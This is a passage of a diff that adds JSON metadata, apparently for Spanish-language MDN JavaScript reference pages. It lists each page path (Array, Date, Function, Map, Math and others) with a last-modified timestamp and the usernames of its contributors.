+      "Marito10",
+      "lajaso",
+      "AlePerez92",
+      "patoezequiel",
+      "FranciscoCastle",
+      "Pulits",
+      "Th3Cod3",
+      "rec",
+      "BubuAnabelas",
+      "abaracedo",
+      "Pablo_Bangueses",
+      "gfernandez",
+      "davegomez",
+      "viartola",
+      "Albizures",
+      "germanio",
+      "a0viedo",
+      "teoli",
+      "LuisArt",
+      "Nukeador",
+      "ADP13",
+      "Errepunto",
+      "Sheppy",
+      "Nathymig",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/@@iterator": {
+    "modified": "2020-10-15T22:06:23.853Z",
+    "contributors": [
+      "lajaso"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/@@species": {
+    "modified": "2020-10-15T22:07:11.429Z",
+    "contributors": [
+      "lajaso"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/@@unscopables": {
+    "modified": "2020-10-15T22:04:47.805Z",
+    "contributors": [
+      "lajaso"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/concat": {
+    "modified": "2020-10-15T21:38:20.137Z",
+    "contributors": [
+      "AlePerez92",
+      "lajaso",
+      "germun",
+      "joseluisq",
+      "KurtPoehler",
+      "dgrcode",
+      "gonzalog"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/copyWithin": {
+    "modified": "2020-10-15T21:46:52.733Z",
+    "contributors": [
+      "lajaso",
+      "chabisoriano",
+      "Aldomolina",
+      "eljonims"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/entries": {
+    "modified": "2020-10-15T21:45:28.326Z",
+    "contributors": [
+      "lajaso",
+      "danielfelipe113",
+      "imNicoSuarez"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/every": {
+    "modified": "2020-10-15T21:38:36.565Z",
+    "contributors": [
+      "camsa",
+      "thepianist2",
+      "lajaso",
+      "devrodriguez",
+      "cagodoy",
+      "vltamara"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/fill": {
+    "modified": "2020-10-15T21:37:55.734Z",
+    "contributors": [
+      "camsa",
+      "lajaso",
+      "ticdenis",
+      "luisNavasArg",
+      "eljonims",
+      "cesarve77"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/filter": {
+    "modified": "2020-10-15T21:30:44.260Z",
+    "contributors": [
+      "SphinxKnight",
+      "tenthlive",
+      "AlePerez92",
+      "lajaso",
+      "robe007",
+      "AdrianSkar",
+      "krthr",
+      "joseluisq",
+      "cesargtzyanez",
+      "josegarciaclm95",
+      "ezain",
+      "dgrcode",
+      "vltamara",
+      "averdion",
+      "li0t",
+      "matajm"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/find": {
+    "modified": "2020-10-15T21:37:55.410Z",
+    "contributors": [
+      "AlePerez92",
+      "orgcompany",
+      "sancospi",
+      "chokozzy",
+      "adictovirtual",
+      "alo5"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/findIndex": {
+    "modified": "2020-10-15T21:46:40.264Z",
+    "contributors": [
+      "AlePerez92",
+      "dannyjhonston",
+      "Aldomolina",
+      "luisrodriguezchaves",
+      "andrpueb"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/flat": {
+    "modified": "2020-10-15T22:04:41.717Z",
+    "contributors": [
+      "amarin95",
+      "AlePerez92",
+      "BubuAnabelas",
+      "fscholz",
+      "lajaso"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/flatMap": {
+    "modified": "2020-10-15T22:04:40.380Z",
+    "contributors": [
+      "alejandro.figuera",
+      "amarin95",
+      "lajaso"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/forEach": {
+    "modified": "2020-10-15T21:25:13.328Z",
+    "contributors": [
+      "maximocapital",
+      "AlePerez92",
+      "lajaso",
+      "MiSStakes",
+      "Aldomolina",
+      "gfvcastro",
+      "Arnaldof",
+      "estebanav",
+      "pakitometal",
+      "007lva",
+      "fcomabella",
+      "everblut",
+      "fernandomg",
+      "teoli",
+      "elfoxero"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/from": {
+    "modified": "2020-10-15T21:41:11.903Z",
+    "contributors": [
+      "AlePerez92",
+      "lajaso",
+      "Aldomolina",
+      "GiuMagnani",
+      "joakku",
+      "thzunder"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/includes": {
+    "modified": "2020-10-15T21:41:08.738Z",
+    "contributors": [
+      "emilianot",
+      "AlePerez92",
+      "lajaso",
+      "jorgeyp",
+      "patoezequiel",
+      "Estoja",
+      "degj21",
+      "wffranco",
+      "DRayX"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/indexOf": {
+    "modified": "2020-10-15T21:21:34.369Z",
+    "contributors": [
+      "ChristianMarca",
+      "lajaso",
+      "estrellalazaro",
+      "Aldomolina",
+      "Castillo05",
+      "teoli",
+      "AntonioNavajas"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/isArray": {
+    "modified": "2020-10-15T21:36:49.146Z",
+    "contributors": [
+      "lajaso",
+      "Guatom",
+      "AlePerez92",
+      "sergiolunagarcia",
+      "EddieV1"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/join": {
+    "modified": "2020-10-15T21:37:05.645Z",
+    "contributors": [
+      "lajaso",
+      "juanluisrp",
+      "davegomez"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/keys": {
+    "modified": "2020-10-15T21:46:47.383Z",
+    "contributors": [
+      "lajaso",
+      "eljonims"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/lastIndexOf": {
+    "modified": "2020-10-15T21:44:42.909Z",
+    "contributors": [
+      "luchosr",
+      "lajaso",
+      "AlePerez92",
+      "cesiztel"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/length": {
+    "modified": "2020-10-15T21:36:04.137Z",
+    "contributors": [
+      "lajaso",
+      "abaracedo",
+      "gfernandez",
+      "martinweingart"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/map": {
+    "modified": "2019-07-29T10:38:41.705Z",
+    "contributors": [
+      "AndCotOli",
+      "david_ru",
+      "ardillan",
+      "alejandrochung",
+      "shades3002",
+      "AlePerez92",
+      "VictorAbdon",
+      "andrxs",
+      "fcomabella"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/of": {
+    "modified": "2020-10-15T21:39:43.805Z",
+    "contributors": [
+      "lajaso",
+      "missmakita",
+      "egosum",
+      "luisNavasArg",
+      "adelamata"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/pop": {
+    "modified": "2020-10-15T21:34:39.833Z",
+    "contributors": [
+      "AlePerez92",
+      "abimael67",
+      "Insitu",
+      "VulpisDev",
+      "fceacero",
+      "estrellalazaro",
+      "Guitxo"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/prototype": {
+    "modified": "2020-10-15T21:35:31.913Z",
+    "contributors": [
+      "lajaso",
+      "humbertaco"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/push": {
+    "modified": "2020-10-15T21:20:34.074Z",
+    "contributors": [
+      "AlePerez92",
+      "_cuco_",
+      "fcojgodoy",
+      "Aldomolina",
+      "alvarouribe",
+      "teoli",
+      "mhauptma73"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/reduce": {
+    "modified": "2020-10-15T21:16:20.520Z",
+    "contributors": [
+      "AlePerez92",
+      "ShakMR",
+      "bogdanned",
+      "diegoazh",
+      "UlisesGascon",
+      "eljonims",
+      "jeduan",
+      "vltamara",
+      "cpf",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/reduceRight": {
+    "modified": "2019-03-23T23:50:45.331Z",
+    "contributors": [
+      "fuzzyalej",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/reverse": {
+    "modified": "2020-10-15T21:34:38.313Z",
+    "contributors": [
+      "AlePerez92",
+      "JulianSoto",
+      "polacrin",
+      "eduardosada",
+      "Omar.VzqzAc",
+      "khrizenriquez",
+      "arthusu"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/shift": {
+    "modified": "2020-08-27T12:47:35.128Z",
+    "contributors": [
+      "AlePerez92",
+      "Dandarprox",
+      "DsEsteban",
+      "gfernandez"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/slice": {
+    "modified": "2019-03-23T22:52:20.266Z",
+    "contributors": [
+      "olijyat",
+      "DaFont",
+      "parzibyte",
+      "kosme",
+      "kdex",
+      "atl3",
+      "eljonims",
+      "Grijander81",
+      "asero82",
+      "oillescas"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/some": {
+    "modified": "2020-10-15T21:36:10.705Z",
+    "contributors": [
+      "AlePerez92",
+      "thepianist2",
+      "Serabe",
+      "oillescas",
+      "fcomabella",
+      "martinweingart"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/sort": {
+    "modified": "2020-10-10T21:23:15.977Z",
+    "contributors": [
+      "Gardeky",
+      "frfernandezdev",
+      "sebastian_romerola",
+      "Tepexic",
+      "carlosazaustre",
+      "jesuslombardo",
+      "reymundus2",
+      "CatalinaCampos",
+      "LuisSevillano",
+      "Newtrino",
+      "cristobal.pina",
+      "alejandrochung",
+      "AlePerez92",
+      "eljonims",
+      "rubenpizarrov",
+      "luisbd",
+      "lombareload"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/splice": {
+    "modified": "2020-10-15T21:33:06.435Z",
+    "contributors": [
+      "AlePerez92",
+      "_cuco_",
+      "FelixJMaxwell",
+      "Joshuete1997",
+      "NoTengoBattery",
+      "pawer13",
+      "Guitxo",
+      "alvarouribe"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/toLocaleString": {
+    "modified": "2020-10-15T22:10:13.626Z",
+    "contributors": [
+      "estebanpanelli"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/toSource": {
+    "modified": "2019-03-23T22:08:25.338Z",
+    "contributors": [
+      "teoli",
+      "pedro-otero"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/toString": {
+    "modified": "2020-10-15T21:37:53.754Z",
+    "contributors": [
+      "AlePerez92",
+      "juanluisrp",
+      "Dorumin",
+      "dgrizzla"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/unshift": {
+    "modified": "2020-10-15T21:36:39.291Z",
+    "contributors": [
+      "AlePerez92",
+      "elhesuu"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Array/values": {
+    "modified": "2020-10-15T21:47:36.548Z",
+    "contributors": [
+      "AlePerez92",
+      "chabisoriano",
+      "clystian"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/ArrayBuffer": {
+    "modified": "2020-10-15T21:40:07.554Z",
+    "contributors": [
+      "lajaso",
+      "joseluisq",
+      "mlealvillarreal",
+      "AzazelN28",
+      "tamat"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/ArrayBuffer/@@species": {
+    "modified": "2020-10-15T22:05:03.686Z",
+    "contributors": [
+      "lajaso"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/ArrayBuffer/byteLength": {
+    "modified": "2020-10-15T22:05:03.452Z",
+    "contributors": [
+      "lajaso"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/ArrayBuffer/prototype": {
+    "modified": "2020-10-15T21:51:49.315Z",
+    "contributors": [
+      "lajaso",
+      "AzazelN28"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Boolean": {
+    "modified": "2020-10-15T21:16:58.681Z",
+    "contributors": [
+      "Nachec",
+      "jtenclay",
+      "IsaacAaron",
+      "MarkelCuesta",
+      "teoli",
+      "Talisker",
+      "Nathymig",
+      "Mgjbot",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Boolean/Boolean": {
+    "modified": "2020-10-15T22:33:47.964Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Boolean/toSource": {
+    "modified": "2019-09-14T17:25:31.875Z",
+    "contributors": [
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date": {
+    "modified": "2019-10-10T16:53:04.977Z",
+    "contributors": [
+      "wbamberg",
+      "Eduardo_66",
+      "teoli",
+      "Talisker",
+      "Mgjbot",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/UTC": {
+    "modified": "2019-03-23T23:48:17.886Z",
+    "contributors": [
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/getDate": {
+    "modified": "2019-03-23T22:47:58.851Z",
+    "contributors": [
+      "DanielFRB",
+      "helmantika",
+      "ycanales"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/getDay": {
+    "modified": "2019-03-23T22:41:58.390Z",
+    "contributors": [
+      "odelrio",
+      "davElsanto",
+      "thzunder"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/getFullYear": {
+    "modified": "2020-04-12T08:54:11.729Z",
+    "contributors": [
+      "Clipi",
+      "Guitxo"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/getHours": {
+    "modified": "2019-03-23T22:25:54.207Z",
+    "contributors": [
+      "davElsanto"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/getMilliseconds": {
+    "modified": "2019-03-23T22:19:54.449Z",
+    "contributors": [
+      "Undre4m"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/getMinutes": {
+    "modified": "2019-03-23T22:50:56.451Z",
+    "contributors": [
+      "jezdez",
+      "jorgeLightwave"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/getMonth": {
+    "modified": "2019-03-23T22:51:30.861Z",
+    "contributors": [
+      "cristobalramos"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/getSeconds": {
+    "modified": "2020-10-15T22:04:39.573Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/getTime": {
+    "modified": "2020-10-18T16:10:45.747Z",
+    "contributors": [
+      "feliperomero3",
+      "maxbalter",
+      "Marttharomero"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/getUTCFullYear": {
+    "modified": "2019-03-23T22:20:31.228Z",
+    "contributors": [
+      "e.g.m.g."
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/getUTCHours": {
+    "modified": "2019-03-23T22:23:56.170Z",
+    "contributors": [
+      "eltrikiman"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/now": {
+    "modified": "2019-03-23T23:48:17.746Z",
+    "contributors": [
+      "teoli",
+      "ethertank",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/parse": {
+    "modified": "2019-03-23T23:48:18.384Z",
+    "contributors": [
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/prototype": {
+    "modified": "2019-03-23T23:11:22.072Z",
+    "contributors": [
+      "teoli"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/setFullYear": {
+    "modified": "2019-03-23T22:20:28.916Z",
+    "contributors": [
+      "e.g.m.g."
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/setMonth": {
+    "modified": "2020-10-15T22:26:32.061Z",
+    "contributors": [
+      "mavega998"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/toDateString": {
+    "modified": "2020-10-15T22:00:03.156Z",
+    "contributors": [
+      "thisisalexis"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/toISOString": {
+    "modified": "2020-10-18T16:02:20.913Z",
+    "contributors": [
+      "feliperomero3",
+      "Dandarprox",
+      "guillermomontero",
+      "chinogarcia",
+      "thzunder",
+      "developingo"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/toJSON": {
+    "modified": "2020-10-15T22:34:58.674Z",
+    "contributors": [
+      "w3pdsoft"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/toLocaleDateString": {
+    "modified": "2020-10-15T22:26:52.505Z",
+    "contributors": [
+      "AntonioM."
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/toLocaleString": {
+    "modified": "2020-10-15T22:28:03.714Z",
+    "contributors": [
+      "jestebans",
+      "Juanpredev"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/toLocaleTimeString": {
+    "modified": "2020-10-15T22:28:25.409Z",
+    "contributors": [
+      "antixsuperstar"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Date/toUTCString": {
+    "modified": "2020-10-15T22:26:46.954Z",
+    "contributors": [
+      "batik"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Error": {
+    "modified": "2020-10-15T21:17:01.621Z",
+    "contributors": [
+      "Nachec",
+      "akadoshin",
+      "gfernandez",
+      "teoli",
+      "Talisker",
+      "Mgjbot",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Error/constructor_Error": {
+    "modified": "2020-10-15T22:33:54.309Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Error/fileName": {
+    "modified": "2020-10-15T22:33:52.450Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Error/lineNumber": {
+    "modified": "2019-03-23T22:44:34.178Z",
+    "contributors": [
+      "KikinRdz"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Error/message": {
+    "modified": "2019-03-23T22:31:48.655Z",
+    "contributors": [
+      "RiazaValverde"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Error/name": {
+    "modified": "2020-10-15T21:51:31.702Z",
+    "contributors": [
+      "Nachec",
+      "Bumxu"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Error/prototype": {
+    "modified": "2019-03-23T22:31:40.887Z",
+    "contributors": [
+      "RiazaValverde"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Error/toSource": {
+    "modified": "2020-10-15T22:33:54.410Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Error/toString": {
+    "modified": "2020-10-15T22:33:57.174Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/EvalError": {
+    "modified": "2020-08-30T20:35:42.248Z",
+    "contributors": [
+      "YHWHSGP88",
+      "Undre4m"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Funcionesasíncronas": {
+    "modified": "2020-10-15T22:06:23.441Z",
+    "contributors": [
+      "akacoronel",
+      "rayrojas",
+      "miguelrijo"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Function": {
+    "modified": "2020-10-15T21:14:31.534Z",
+    "contributors": [
+      "Nachec",
+      "Tzikin100",
+      "teoli",
+      "ethertank",
+      "Skorney",
+      "ADP13",
+      "Mgjbot",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Function/Función": {
+    "modified": "2020-10-15T22:33:51.294Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Function/apply": {
+    "modified": "2019-03-23T23:31:02.682Z",
+    "contributors": [
+      "AdrianSkar",
+      "swsoftware",
+      "jdmgarcia",
+      "juliandavidmr",
+      "JuanMaRuiz",
+      "elenatorro",
+      "eespitia.rea",
+      "emazarrasa",
+      "yakashiro",
+      "teoli",
+      "chebit",
+      "gtoroap"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Function/arguments": {
+    "modified": "2019-03-23T23:48:35.727Z",
+    "contributors": [
+      "teoli",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Function/bind": {
+    "modified": "2019-03-23T23:02:28.323Z",
+    "contributors": [
+      "Imvi10",
+      "Silverium",
+      "marinatouceda",
+      "dimun",
+      "lennarth.anaya",
+      "Javingka",
+      "cobogt"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Function/call": {
+    "modified": "2020-11-13T21:36:49.496Z",
+    "contributors": [
+      "alejandro.fca",
+      "saulrp7",
+      "cristianmartinez",
+      "teoli",
+      "bluesky777"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Function/caller": {
+    "modified": "2019-03-23T22:52:58.734Z",
+    "contributors": [
+      "DavidBernal",
+      "fabianlucena"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Function/displayName": {
+    "modified": "2020-10-15T21:59:29.332Z",
+    "contributors": [
+      "juliandavidmr"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Function/length": {
+    "modified": "2020-02-10T13:03:52.789Z",
+    "contributors": [
+      "kant",
+      "Nanyin",
+      "HyMaN"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Function/name": {
+    "modified": "2019-03-18T20:38:56.122Z",
+    "contributors": [
+      "SunWithIssues",
+      "pedro-otero",
+      "kdex",
+      "jorgecasar"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Function/prototype": {
+    "modified": "2019-03-23T23:53:55.022Z",
+    "contributors": [
+      "mcardozo",
+      "teoli",
+      "shaggyrd",
+      "Mgjbot",
+      "Wrongloop",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Function/toSource": {
+    "modified": "2019-03-23T22:42:12.644Z",
+    "contributors": [
+      "teoli",
+      "gpdiaz"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Function/toString": {
+    "modified": "2019-03-23T22:31:32.582Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Generador": {
+    "modified": "2020-09-30T15:33:08.419Z",
+    "contributors": [
+      "alejandro.fca",
+      "sdotson",
+      "Chofoteddy",
+      "nicolasolmos"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Generador/next": {
+    "modified": "2020-10-15T22:03:24.006Z",
+    "contributors": [
+      "DJphilomath"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Generador/return": {
+    "modified": "2020-10-15T22:03:25.741Z",
+    "contributors": [
+      "DJphilomath"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Generador/throw": {
+    "modified": "2020-10-15T22:03:23.876Z",
+    "contributors": [
+      "DJphilomath"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Infinity": {
+    "modified": "2020-03-12T19:36:58.042Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "jarneygm",
+      "ADP13",
+      "Mgjbot",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/InternalError": {
+    "modified": "2020-10-15T22:33:54.342Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/InternalError/Constructor_InternalError": {
+    "modified": "2020-10-15T22:33:52.933Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Intl": {
+    "modified": "2020-10-15T21:58:20.138Z",
+    "contributors": [
+      "LucasDeFarias",
+      "eespitia.rea",
+      "puentesdiaz"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Intl/NumberFormat": {
+    "modified": "2020-10-15T21:29:49.289Z",
+    "contributors": [
+      "fscholz",
+      "IsraelFloresDGA",
+      "eespitia.rea"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Intl/NumberFormat/format": {
+    "modified": "2020-10-15T22:26:32.434Z",
+    "contributors": [
+      "fscholz",
+      "Daniel7Byte"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Intl/RelativeTimeFormat": {
+    "modified": "2020-10-15T22:33:27.123Z",
+    "contributors": [
+      "midudev"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/JSON": {
+    "modified": "2020-09-19T17:44:12.200Z",
+    "contributors": [
+      "cristian.valdivieso",
+      "Kroneaux",
+      "ulisestrujillo",
+      "lfottaviano",
+      "JefferHXC",
+      "rossif",
+      "teoli",
+      "fscholz"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/JSON/parse": {
+    "modified": "2019-03-23T23:09:22.011Z",
+    "contributors": [
+      "bufalo1973",
+      "aminguez",
+      "mbarbancho",
+      "rossif",
+      "PepeBeat"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/JSON/stringify": {
+    "modified": "2020-10-15T21:26:39.053Z",
+    "contributors": [
+      "AlePerez92",
+      "Ivan-Perez",
+      "kip-13",
+      "imagentleman",
+      "raistmaj",
+      "JoseBarakat",
+      "danielbenedi6",
+      "inawrath",
+      "lfottaviano",
+      "julesdel",
+      "teland",
+      "teoli",
+      "carlosgctes"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Map": {
+    "modified": "2020-10-15T21:30:28.950Z",
+    "contributors": [
+      "Almiqui",
+      "AntonioSalazar",
+      "SphinxKnight",
+      "Sebastiancbvz",
+      "vaavJSdev",
+      "timgivois",
+      "aeroxmotion",
+      "PepeAleu",
+      "xavier.gallofre",
+      "rn3w",
+      "Grijander81",
+      "GustavoFernandez",
+      "rec",
+      "Kouen",
+      "facundoj"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Map/clear": {
+    "modified": "2019-03-23T22:33:57.332Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Map/delete": {
+    "modified": "2019-06-22T21:43:58.894Z",
+    "contributors": [
+      "gerardonavart",
+      "Grijander81"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Map/entries": {
+    "modified": "2019-03-23T22:33:46.712Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Map/forEach": {
+    "modified": "2020-10-15T21:59:58.539Z",
+    "contributors": [
+      "gerardonavart",
+      "PabloContreras",
+      "katuno1981"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Map/get": {
+    "modified": "2020-10-15T22:01:57.424Z",
+    "contributors": [
+      "Marte",
+      "Sebastiancbvz"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Map/has": {
+    "modified": "2020-10-15T22:32:18.735Z",
+    "contributors": [
+      "fredydeltoro"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Map/keys": {
+    "modified": "2019-03-23T22:31:40.425Z",
+    "contributors": [
+      "jesusfchavarro"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Map/prototype": {
+    "modified": "2019-03-23T22:06:29.334Z",
+    "contributors": [
+      "JuanMacias"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Map/set": {
+    "modified": "2019-03-23T22:28:28.999Z",
+    "contributors": [
+      "guillermojmc"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Map/size": {
+    "modified": "2019-03-23T22:34:02.057Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Map/values": {
+    "modified": "2020-10-15T22:12:33.830Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math": {
+    "modified": "2020-10-15T21:17:08.782Z",
+    "contributors": [
+      "RomnSD",
+      "Pedro-vk",
+      "lajaso",
+      "Enesimus",
+      "maxbalter",
+      "raecillacastellana",
+      "mrajente47",
+      "enesimo",
+      "Jaston",
+      "AugustoEsquen",
+      "teoli",
+      "ethertank",
+      "Talisker",
+      "Mgjbot",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/E": {
+    "modified": "2020-10-15T21:21:06.485Z",
+    "contributors": [
+      "lajaso",
+      "teoli",
+      "jessest"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/LN10": {
+    "modified": "2020-10-15T21:21:04.066Z",
+    "contributors": [
+      "lajaso",
+      "teoli",
+      "jessest"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/LN2": {
+    "modified": "2020-10-15T21:21:06.933Z",
+    "contributors": [
+      "lajaso",
+      "teoli",
+      "jessest"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/LOG10E": {
+    "modified": "2019-03-23T22:21:51.531Z",
+    "contributors": [
+      "aocodermx"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/LOG2E": {
+    "modified": "2019-03-23T23:35:28.496Z",
+    "contributors": [
+      "teoli",
+      "jessest"
+    ]
+  },
